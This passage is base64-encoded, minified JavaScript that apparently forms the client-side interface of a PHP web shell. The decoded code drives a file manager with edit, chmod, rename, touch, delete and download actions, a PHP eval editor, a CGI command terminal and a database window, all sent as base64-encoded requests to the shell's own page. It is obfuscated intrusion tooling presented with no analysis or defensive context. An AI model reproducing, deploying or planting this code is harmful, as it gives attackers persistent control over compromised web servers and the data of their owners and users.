C1ob2xkZXIiKS5pbm5lckhUTUw9IiJ9fWVsc2UgaWYoImNnaWxvYWRlciI9PWUpcGhwX3RlbXJpbmFsX3VzaW5nX2NnaSYmKGQucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIudGVy
bWluYWwtY29udGVudHMiKS5pbm5lckhUTUw9IiIpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe2lmKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSx
udWxsIT1ob2tpX2FjZV9lZGl0b3JzLmV2YWwpe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmV2YWwpaG9raV9hY2VfZWRpdG9ycy5ldmFsW2FdLmRlc3Ryb3koKTtob2tpX2FjZV9lZGl0b3JzLmV2YWw9bnVsbCxkLnF1ZXJ5U2VsZWN0b3
JBbGwoIi5waHAtZXZhbHMiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlQXR0cmlidXRlKCJhY2UiKX0pfX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtzZXRUaW1lb3V0KGZ1b
mN0aW9uKCl7ZWxlbT0kKGUpLGVsZW0ucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpLGVsZW0uc3R5bGUuZGlzcGxheT0ibm9uZSIsIm9wdGlvbnNfd2luZG93Ij09ZSYmKGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfdGFiIikuaW5uZXJIVE1M
PSIiLGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfY29udGVudCIpLmlubmVySFRNTD0iIil9LDFlMyksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpe3ZhciBlPXtjZ2l
sb2FkZXI6Y2dpX2lzX21pbmltaXplZCxvcHRpb25zX3dpbmRvdzpvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQsZGF0YWJhc2Vfd2luZG93OmRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQsZWRpdG9yOmlzX21pbmltaXplZH0sYT1bXTtmb3
IodmFyIHQgaW4gZSllW3RdJiZhLnB1c2godCk7MT09YS5sZW5ndGg/JChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiOjI9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjIwJSIsJChhWzFdKyItbWlua
W1pemVkIikuc3R5bGUudG9wPSI1MCUiKTozPT1hLmxlbmd0aD8oJChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIwJSIsJChhWzFdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiLCQoYVsyXSsiLW1pbmltaXplZCIpLnN0eWxlLnRv
cD0iNjAlIik6ND09YS5sZW5ndGgmJigkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI1NSUiLCQoYVszXSs
iLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iODAlIil9ZnVuY3Rpb24gc2hvd0VkaXRvcihlKXtpZigkKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1zaG93IiksJChlKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcy
IsIm1pbmltaXplZC1oaWRlIiksImVkaXRvciI9PWUpaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoImNnaWxvYWRlciI9PWUpY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe29wdGlvbnNfd2luZG93X2lzX21pb
mltaXplZD0hMTt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUudGFiLWlzLWRvbmUiKTtudWxsIT1hJiZhLmNsYXNz
TGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIil9ZWxzZSJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMSk7cG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGR
lbiJ9ZnVuY3Rpb24gZWRpdG9yTWluaW1pemUoZSl7JChlKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tbWluaW1pemUiKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLXNob3ciKSwiZW
RpdG9yIj09ZT9pc19taW5pbWl6ZWQ9ITA6ImNnaWxvYWRlciI9PWU/Y2dpX2lzX21pbmltaXplZD0hMDoib3B0aW9uc193aW5kb3ciPT1lP29wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMDoiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiY
XNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITApLHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBjbGVhckVkaXRvckhpc3RvcnkoKXtpZihjb25maXJtKCJBcmUgdSBTdXJlPyIp
KWZvcih2YXIgZSBpbiBlZGl0b3JfZmlsZXMpZSE9ZWRpdG9yX2N1cnJlbnRfZmlsZSYmcmVtb3ZlSGlzdG9yeShlKX1mdW5jdGlvbiBpc0FyY2hpdmUoZSl7dmFyIGEsdD1bIi50YXIuZ3oiLCIudGFyLmJ6MiIsIi50YXIueiIsIi50YXIueHoiLCI
uemlwIiwiLnppcHgiLCIuN3oiLCIuYnoyIiwiLmd6IiwiLnJhciIsIi50YXIiLCIudGd6Il07Zm9yKGEgaW4gdClpZihuZXcgUmVnRXhwKCIoLiopKCIrdFthXS5yZXBsYWNlKC9cLi9nLCJcXC4iKSsiKSQiLCJnaSIpLnRlc3QoZSkpcmV0dXJuIT
A7cmV0dXJuITF9ZnVuY3Rpb24gZWRpdG9yKGUsYSx0LGksbCxvKXtpZigiZGlyIj09byYmIi4uIj09ZSlyZXR1cm4hMTtpZigiZG93bmxvYWQiPT1hKXJldHVybiBnKCJGaWxlc1Rvb2xzIixpLGUsImRvd25sb2FkIiksITE7dmFyIHI9IiIsbj0iI
ixzPSIiLGM9IiIsZj1kLm1mLmMudmFsdWUsXz0hMDtpZihlPWUudHJpbSgpLDA9PU9iamVjdC5rZXlzKGVkaXRvcl9maWxlcykubGVuZ3RoKXt2YXIgdT1nZXRDb29raWUoImhva2lfaGlzdG9yeV9maWxlcyIpO3RyeXtmb3IodmFyIHAgaW4gdT1h
dG9iKHUpLGVkaXRvcl9maWxlcz1KU09OLnBhcnNlKHUpKWluc2VydFRvSGlzdG9yeShwLGVkaXRvcl9maWxlc1twXS5maWxlLDAsZWRpdG9yX2ZpbGVzW3BdLnR5cGUpfWNhdGNoKGUpe319aWYoInBoYXI6Ly8iPT1lLnN1YnN0cigwLDcpKWY9Y18
7ZWxzZSBpZigtMSE9ZS5pbmRleE9mKCIvIikpe3ZhciBtPWUuc3BsaXQoIi8iKTtlPW1bbS5sZW5ndGgtMV0sZGVsZXRlIG1bbS5sZW5ndGgtMV0sZj1tLmpvaW4oIi8iKSxpc2xpbnV4JiYoZj0iLyIrZil9aWYodm9pZCAwPT09byYmKG89IiIpLH
ZvaWQgMCE9PWkmJm51bGwhPWkmJjAhPWkubGVuZ3RoJiYoZj1pLnRyaW0oKSksImF1dG8iPT1hJiZpc0FyY2hpdmUoZSkpcmV0dXJuIGhva2lTeW5jTWVudVRvT3B0KGUsITApLCExO3RyeXtmb3IodmFyIHYgaW4gZWRpdG9yX2ZpbGVzKWlmKGVka
XRvcl9maWxlc1t2XS5maWxlPT1kZWNvZGVVUklDb21wb25lbnQoZSkmJmVkaXRvcl9maWxlc1t2XS5wd2QucmVwbGFjZSgvXC8vZywiIik9PWYucmVwbGFjZSgvXC8vZywiIikpe189ITEsbD12O2JyZWFrfX1jYXRjaChlKXt9aWYoZWRpdG9yX2Vy
cm9yPSEwLHZvaWQgMCE9PXQmJjAhPXQubGVuZ3RoJiZudWxsIT10JiYocj1ob2tpYjY0KHQpKSx2b2lkIDAhPT1sJiZudWxsIT1sJiYwIT1sLmxlbmd0aCluPWhva2liNjQobCkscz1sLGM9bC5yZXBsYWNlKCJmaWxlXyIsIiIpO2Vsc2V7dmFyIGg
9ImZpbGVfIisoYz1nZXRSYW5kb20oMTApKTtuPWhva2liNjQoaCkscz1ofXZhciBiPSJlZGl0b3Jfc291cmNlXyIrYztpZihudWxsPT0kKGIpKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdG
l2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpLmNsYXNzTGlzdC5yZ
W1vdmUoImVkaXRvci10YWItYWN0aXZlIil9Y2F0Y2goZSl7fWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IG9uY2xpY2s9J2VkaXRvclRhYkNvbnRyb2xsZXIodGhpcyk7
JyBvcHRfaWQ9JyIrYisiJyBpZD0ndGFiXyIrYisiJyBjbGFzcz0nZWRpdG9yLXRhYi1uYW1lIGVkaXRvci10YWItYWN0aXZlJz4iK2RlY29kZVVSSUNvbXBvbmVudChlKSsiIDxpbWcgb3B0X2lkPSciK2IrIicgb25jbGljaz0nY2xvc2VFZGl0b3J
Db250ZW50KHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsnIHRpdGxlPSdbY2xvc2VdJyBzcmM9J2h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZW
Qtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZyc+PC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnQtaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlc
mJlZ2luIiwiPGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnRzIGVkaXRvci1jb250ZW50LWFjdGl2ZScgaWQ9JyIrYisiJz48L2Rpdj4iKX1yZXR1cm4gMD09aXNfbWluaW1pemVkJiYibm9uZSI9PSQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk/KCQo
ImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixzaG93RWRpdG9yKCJlZGl0b3IiKSxob2tpbG9hZGVyKGIsImJsb2NrIikpOihpc19taW5pbWl6ZWQmJnNob3dFZGl0b3IoImVkaXRvciIpLG51bGwhPSQoYik/aG9raWxvYWRlcihiLCJibG9
jayIpOihob2tpbG9hZGVyKCJlZGl0b3IiLCJibG9jayIpLGI9ImVkaXRvciIpKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoIkZpbGVzVG9vbHMiKSsiJmM9Iitob2tpYjY0KGYpKyImaG9raTE9Iitob2tpYjY0KGUpKyImaG9raTI9Iitob2tpYj
Y0KGEpKyImaG9raTM9IityKyImaG9raTQ9IituKyImaG9raTU9Jmhva2k2PSZob2tpNz0maG9raTg9Jmhva2k5PSZob2tpMTA9JiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKHQsaSl7dmFyIGw9JCgidGFiXyIraSk7dHJ5e251bGwhP
WwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIil8fGlzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksaG9raVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRv
bmUuLi4iLCJFZGl0b3I6ICIrbC5pbm5lclRleHQpKSxpc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpKX1jYXRjaCh0KXt9aWYoIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5P2hva2lMb2FkZXJPblR
vcCgibm9uZSIpOmhva2lsb2FkZXIoaSwibm9uZSIpLHIubGVuZ3RoPjAmJiJlZGl0Ij09YSlyZXR1cm4gaXNfbWluaW1pemVkfHxudWxsIT1sJiYtMSE9bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSYmaG9raV
Nob3dOb3RpZmljYXRpb24oInNhdmVkLi4uISIsIkVkaXRvciIpLCExO2lmKG51bGwhPSQoaSkmJigkKGkpLmlubmVySFRNTD10KSxpc19taW5pbWl6ZWQmJmhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yO
iAiK2RlY29kZVVSSUNvbXBvbmVudChlKSksJCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGV2YWxKUyh0KSxob2tpTG9hZEFjZUVkaXRvcigidmlld19tbF9jb250ZW50IiksImRlbGV0ZSIhPWEmJmVkaXRvcl9lcnJvcil7dmFyIGM9
ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpc19hY3RpdmUiKTswIT1jLmxlbmd0aCYmKGNbMF0uY2xhc3NOYW1lPSJmaWxlLWhvbGRlciIpLG49cyxlPWRlY29kZVVSSUNvbXBvbmVudChlKSwhZWRpdG9yX2ZpbGVzW25dJiZfPyhlZGl0b3JfZml
sZXNbbl09e2ZpbGU6ZSxwd2Q6Zix0eXBlOm99LGluc2VydFRvSGlzdG9yeShuLGUsIiBpc19hY3RpdmUiLG8pLCJta2ZpbGUiPT1hJiZnKCJGaWxlc01hbiIsbnVsbCkpOiQobikucGFyZW50Tm9kZS5jbGFzc05hbWUrPSIgaXNfYWN0aXZlIn1kLm
JvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIsZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF0uc2V0QXR0cmlidXRlKCJmaWQiLG4pLGVkaXRvcl9maWxlc1tuXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpd
G9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tuXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tuXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksZWRpdG9yX2N1cnJlbnRfZmlsZT1uLHVwZGF0ZUNvb2tpZUVkaXRvcigpfSwhMSxi
KSwhMX1mdW5jdGlvbiBob2tpTG9hZEFjZUVkaXRvcihlLGEpe2lmKHZvaWQgMD09PWEmJihhPSExKSxudWxsPT0kKCJob2tpLWFjZS1wbHVnaW4iKSl7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cmV0dXJuIHQuc3JjPSJ
odHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS40LjExL2FjZS5qcyIsdC5pZD0iaG9raS1hY2UtcGx1Z2luIix0Lm9ubG9hZD1mdW5jdGlvbigpe2hva2lMb2FkQWNlRWRpdG9yKGUsYSl9LGQuYm9keS5hcHBlbmRDaG
lsZCh0KSwhMX10cnl7ImFsbG93Ij09JChlKS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSYmKGE9ITEpfWNhdGNoKGUpe31pZigidmlld19tbF9jb250ZW50Ij09ZSl7bnVsbD09aG9raV9hY2VfZWRpdG9ycy5lZGl0b3ImJihob2tpX2FjZV9lZGl0b3JzL
mVkaXRvcj17fSk7dmFyIGk9Z2V0Q29va2llKCJob2tpX2FjZV90aGVtZV9lZGl0b3IiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZWRpdG9yIik7dm9pZCAwPT09aSYmKGk9InRlcm1pbmFsIiksMD09aS5sZW5ndGgmJihpPSJ0ZXJt
aW5hbCIpLGQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci1hY2UtY29udHJvbGxlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYobnVsbCE9ZS5nZXRBdHRyaWJ1dGUoImFjZSIpKXJldHVybiExO2Uuc2V0QXR0cmlidXRlKCJhY2UiLCJvayIpO3Z
hciB0PWdldFJhbmRvbSgxMCksbz1lLnF1ZXJ5U2VsZWN0b3IoIi52aWV3X21sX2NvbnRlbnQiKTtvLnNldEF0dHJpYnV0ZSgiaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSxob2tpX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LS
IrdF09YWNlLmVkaXQobyksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNldFJlYWRPbmx5KGEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRTaG93UHJpbnRNYXJna
W4oITEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0TW9kZSgi
YWNlL21vZGUvcGhwIiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5jb21tYW5
kcy5hZGRDb21tYW5kKHtuYW1lOiJzYXZlIixiaW5kS2V5Ont3aW46IkN0cmwtUyIsbWFjOiJDbWQtUyJ9LGV4ZWM6ZnVuY3Rpb24oZSl7ZC5xdWVyeVNlbGVjdG9yKCIjYWNlLXNhdmUtYnRuLSIrdCkuY2xpY2soKX19KSxlLnF1ZXJ5U2VsZWN0b3
IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0K
SwtMSE9ZS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWNlLXNhdmUtYnRuIikmJmUuc2V0QXR0cmlidXRlKCJpZCIsImFjZS1zYXZlLWJ0bi0iK3QpfSksdm9pZCAwIT09bCYmc2V0VGltZW91dChmdW5jdGlvbigpe2hva2lfYWNlX2VkaXRvcnMu
ZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX1lbHNle251bGw9PWhva2lfYWNlX2VkaXRvcnMuZXZhbCYmKGhva2lfYWNlX2VkaXRvcnMuZXZhbD17fSk7aT1nZXRDb29raWUoImhva2l
fYWNlX3RoZW1lX2V2YWwiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZXZhbCIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5waHAtZXZhbH
MiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtZXZhbHMtYWNlIiksbz1nZXRSYW5kb
20oMTApO3Quc2V0QXR0cmlidXRlKCJpZCIsInBocGV2YWwtIitvKSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXT1hY2UuZWRpdCh0KSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRSZWFkT25seShhKSxo
b2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRTaG93UHJpbnRNYXJnaW4oITEpLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIitpKSxob2tpX2FjZV9lZGl0b3JzLmV2YWx
bInBocGV2YWwtIitvXS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGUucXVlcnlTZWxlY3Rvcigic2VsZWN0LmFjZS10aG
VtZS1zZWxlY3RvciIpLnZhbHVlPWksZS5xdWVyeVNlbGVjdG9yQWxsKCIuYWNlLWNvbnRyb2xlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImFjZV9pZCIsInBocGV2YWwtIitvKX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvd
XQoZnVuY3Rpb24oKXtob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX19ZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGUsYSx0LGkpe3ZhciBsPSIiO3QmJjAhPXQmJihsPXQp
O3ZhciBvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO28uaW5uZXJIVE1MPSI8ZGl2IGlkPSciK2UrIicgY2xhc3M9J2hpc3RvcnknIG9uQ2xpY2s9J3Jlb3Blbih0aGlzKTsnPjxkaXYgY2xhc3M9J2VkaXRvci1pY29uJz4iK2xvYWRUeXB
lKGEsaSxlKSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IithKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsb3NlJyBvbkNsaWNrPSdyZW1vdmVIaXN0b3J5KFwiIitlKyJcIik7Jz5YPC9kaXY+IixvLmNsYX
NzTmFtZT0iZmlsZS1ob2xkZXIiK2wsby5hZGRFdmVudExpc3RlbmVyKCJtb3VzZW92ZXIiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3ZlciIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIxIn0pLG8uYWRkRXZlbnRMa
XN0ZW5lcigibW91c2VvdXQiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3V0IiksdGhpcy5jaGlsZE5vZGVzWzFdLnN0eWxlLm9wYWNpdHk9IjAifSk7dmFyIHI9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJoaXN0b3J5LWxpc3QiKVsw
XTtyLmluc2VydEJlZm9yZShvLHIuZmlyc3RDaGlsZCl9ZnVuY3Rpb24gbG9hZFR5cGUoZSxhLHQpeyJub25lIj09YSYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2ZpbGV0eXBlIikrIiZwYXRoPSIraG9raWI2NChlZGl0b3JfZmlsZXN
bdF0ucHdkKSsiJmFyZz0iK2hva2liNjQoZWRpdG9yX2ZpbGVzW3RdLmZpbGUpLGZ1bmN0aW9uKGUpeyQodCkuaW5uZXJIVE1MPSI8ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShlZGl0b3JfZmlsZXNbdF0uZmlsZSxlLHQpKyI8L2
Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZmlsZS1uYW1lJz4iK2VkaXRvcl9maWxlc1t0XS5maWxlKyI8L2Rpdj4iLGVkaXRvcl9maWxlc1t0XS50eXBlPWV9KTtpZigiZmlsZSI9PWEpe2E9KGE9ZS5zcGxpdCgiLiIpKVthLmxlbmd0aC0xXS50b0xvd
2VyQ2FzZSgpOy0xPT1bImpzb24iLCJwcHQiLCJwcHR4IiwieGxzIiwieGxzeCIsIm1zaSIsImNvbmZpZyIsImNnaSIsInBtIiwiYyIsImNwcCIsImNzIiwiamF2YSIsImFzcHgiLCJhc3AiLCJkYiIsInR0ZiIsImVvdCIsIndvZmYiLCJ3b2ZmMiIs
IndvZmYiLCJjb25mIiwibG9nIiwiYXBrIiwiY2FiIiwiYnoyIiwidGd6IiwiZG1nIiwiaXpvIiwiamFyIiwiN3oiLCJpc28iLCJyYXIiLCJiYXQiLCJzaCIsImhva2kiLCJneiIsInRhciIsInBocCIsInBocDQiLCJwaHA1IiwicGh0bWwiLCJodG1
sIiwieGh0bWwiLCJzaHRtbCIsImh0bSIsInppcCIsInBuZyIsImpwZyIsImpwZWciLCJnaWYiLCJibXAiLCJpY28iLCJ0eHQiLCJqcyIsInJiIiwicHkiLCJ4bWwiLCJjc3MiLCJzcWwiLCJodGFjY2VzcyIsInBsIiwiaW5pIiwiZGxsIiwiZXhlIi
wibXAzIiwibXA0IiwibTRhIiwibW92IiwiZmx2Iiwic3dmIiwibWt2IiwiYXZpIiwid212IiwibXBnIiwibXBlZyIsImRhdCIsInBkZiIsIjNncCIsImRvYyIsImRvY3giLCJkb2NtIl0uaW5kZXhPZihhKSYmKGE9Im5vdGZvdW5kIil9ZWxzZSBhP
SJmb2xkZXIiO3JldHVybic8aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy97dHlwZX0iIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+Jy5yZXBsYWNlKCJ7dHlwZX0iLGErIi5wbmciKX1mdW5jdGlvbiB1cGRhdGVGaWxlRWRpdG9y
KGUsYSl7dmFyIHQ9ImlkXyIrZSxpPSJpZF9jaG1vZGVfIitlLGw9ImlkX3JlbmFtZV8iK2Usbz0iaWRfdG91Y2hfIitlLHI9ImlkX2VkaXRfIitlLG49ImlkX2Rvd25sb2FkXyIrZSxkPSJpZF9kZWxldGVfIitlLHM9JCh0KS5nZXRBdHRyaWJ1dGU
oImZ0eXBlIik7ImZvbGRlciI9PXMmJihzPSJkaXIiKSwiZmlsZSI9PXM/KCQodCkuaW5uZXJIVE1MPWEsJCh0KS5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIithKSwkKHQpLnNldEF0dHJpYnV0ZSgib2
5jbGljayIsImVkaXRvcignIithKyInLCdhdXRvJywnJywnJywnJywnZmlsZScpIiksJChyKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnZWRpdCcsJycsJycsJycsJyIrcysiJykiKSwkKG4pLnNldEF0dHJpYnV0ZSgib
25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKSk6KCQodCkuaW5uZXJIVE1MPSI8Yj58ICIrYSsiIHw8L2I+IiwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzTWFuJywgJyIrY18rIi8i
K2ErIicpIikpLCQoaSkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2NobW9kJywnJywnJywnJywnIitzKyInKSIpLCQobCkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ3JlbmFtZScsJycsJyc
sJycsJyIrcysiJykiKSwkKG8pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCd0b3VjaCcsJycsJycsJycsJyIrcysiJykiKSwkKGQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW
91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKSwkKHQpLnNldEF0dHJpYnV0ZSgiZm5hbWUiLGEpfWZ1bmN0aW9uIHVwZGF0ZURpcnNFZGl0b3IoZ
